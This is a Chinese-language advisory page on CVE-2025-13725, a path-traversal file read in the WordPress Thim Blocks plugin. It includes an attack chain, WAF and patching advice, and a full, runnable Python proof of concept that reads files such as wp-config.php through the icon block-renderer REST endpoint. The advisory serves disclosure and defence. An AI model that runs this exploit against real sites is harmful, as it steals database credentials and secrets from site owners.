IPBUF安全漏洞报告
English
CVE-2025-13725 CVSS 6.5 中危

CVE-2025-13725 WordPress Thim Blocks插件任意文件读取漏洞

披露日期: 2026-01-17

漏洞信息

漏洞编号
CVE-2025-13725
漏洞类型
任意文件读取
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Gutenberg Thim Blocks – Page Builder, Gutenberg Blocks for the Block Editor (WordPress插件)

相关标签

任意文件读取WordPress插件CVE-2025-13725路径遍历Thim BlocksGutenberg认证用户漏洞信息泄露

漏洞概述

CVE-2025-13725是WordPress插件Gutenberg Thim Blocks中的一个任意文件读取漏洞。该插件是一款用于块编辑器的页面构建器工具,帮助用户在WordPress中创建和编辑页面内容。漏洞存在于服务器端渲染thim-blocks/icon块的过程中,由于对文件路径的验证不足,认证的攻击者可以通过iconSVG参数指定任意文件路径,从而读取服务器上的敏感文件。此漏洞的CVSS评分为6.5,属于中等严重程度。攻击者需要具有Contributor级别或更高的权限即可利用此漏洞。由于可以读取wp-config.php等配置文件,攻击者可能获取数据库凭证、API密钥等敏感信息,进而进行进一步的攻击。漏洞影响该插件1.0.1及以下所有版本。

技术细节

漏洞根源在于IconBlockType.php文件中对iconSVG参数的路径验证不足。攻击者可以通过构造特殊的iconSVG参数值,使用路径遍历技术(如../../)来访问服务器上的任意文件。在第92行和第97行的代码中,系统未能正确过滤用户输入的文件路径,导致攻击者可以读取包括wp-config.php在内的敏感文件。攻击流程为:首先攻击者需要拥有一个具有Contributor权限的WordPress账户,然后通过WordPress REST API或块编辑器界面发送包含恶意iconSVG参数值的请求。服务器端会直接使用该参数值作为文件路径进行读取操作,而不会进行充分的安全检查。由于该插件在服务器端直接渲染图标块内容,攻击者可以利用此功能读取任意文件内容。

攻击链分析

STEP 1
1
攻击者获取WordPress网站 Contributor级别或更高权限的账户
STEP 2
2
攻击者构造包含路径遍历序列的iconSVG参数(如 ../../wp-config.php)
STEP 3
3
通过REST API端点 /wp-json/wp/v2/block-renderer/thim-blocks/icon 发送恶意请求
STEP 4
4
服务器端IconBlockType.php未正确验证iconSVG参数的文件路径
STEP 5
5
服务器使用用户提供的路径读取文件内容并返回给攻击者
STEP 6
6
攻击者获取敏感文件内容(如wp-config.php),可能包含数据库凭证、API密钥等

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-13725 PoC - Arbitrary File Read in Thim Blocks WordPress Plugin # Target: WordPress site with Thim Blocks plugin <= 1.0.1 def exploit_file_read(target_url, file_path, auth_cookie): """ Exploit arbitrary file read vulnerability via iconSVG parameter Args: target_url: Base URL of the WordPress site file_path: Path to the file to read (e.g., ../../wp-config.php) auth_cookie: Authentication cookie for Contributor+ user """ # Construct the REST API endpoint for the icon block endpoint = f"{target_url}/wp-json/wp/v2/block-renderer/thim-blocks/icon" # Prepare the payload with malicious iconSVG parameter params = { "context": "edit", "attributes[iconSVG]": file_path } headers = { "Cookie": auth_cookie, "Content-Type": "application/json" } try: response = requests.get(endpoint, params=params, headers=headers, timeout=30) if response.status_code == 200: print(f"[+] Successfully read file: {file_path}") print(f"[+] Response length: {len(response.text)} bytes") return response.text else: print(f"[-] Failed to read file. Status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Request failed: {str(e)}") return None def main(): if len(sys.argv) < 5: print("Usage: python cve-2025-13725.py <target_url> <file_path> <cookie> [output_file]") print("Example: python cve-2025-13725.py http://target.com ../../wp-config.php 'wordpress_logged_in_xxx=xxx'") sys.exit(1) target_url = sys.argv[1].rstrip('/') file_path = sys.argv[2] auth_cookie = sys.argv[3] output_file = sys.argv[4] if len(sys.argv) > 4 else None print(f"[*] Target: {target_url}") print(f"[*] File to read: {file_path}") content = exploit_file_read(target_url, file_path, auth_cookie) if content: if output_file: with open(output_file, 'w', encoding='utf-8') as f: f.write(content) print(f"[+] Content saved to: {output_file}") else: print("[*] File content:") print(content) if __name__ == "__main__": main()

影响范围

Gutenberg Thim Blocks插件 <= 1.0.1

防御指南

临时缓解措施
如果无法立即更新插件,可采取以下临时缓解措施:1) 限制用户注册和角色分配,确保没有不可信的Contributor或Author级别账户;2) 使用WordPress安全插件监控可疑的REST API请求;3) 考虑暂时禁用Thim Blocks插件,直到官方发布安全更新;4) 实施Web应用防火墙(WAF)规则,检测和阻止包含路径遍历序列的请求;5) 定期检查服务器访问日志,排查异常的iconSVG参数请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表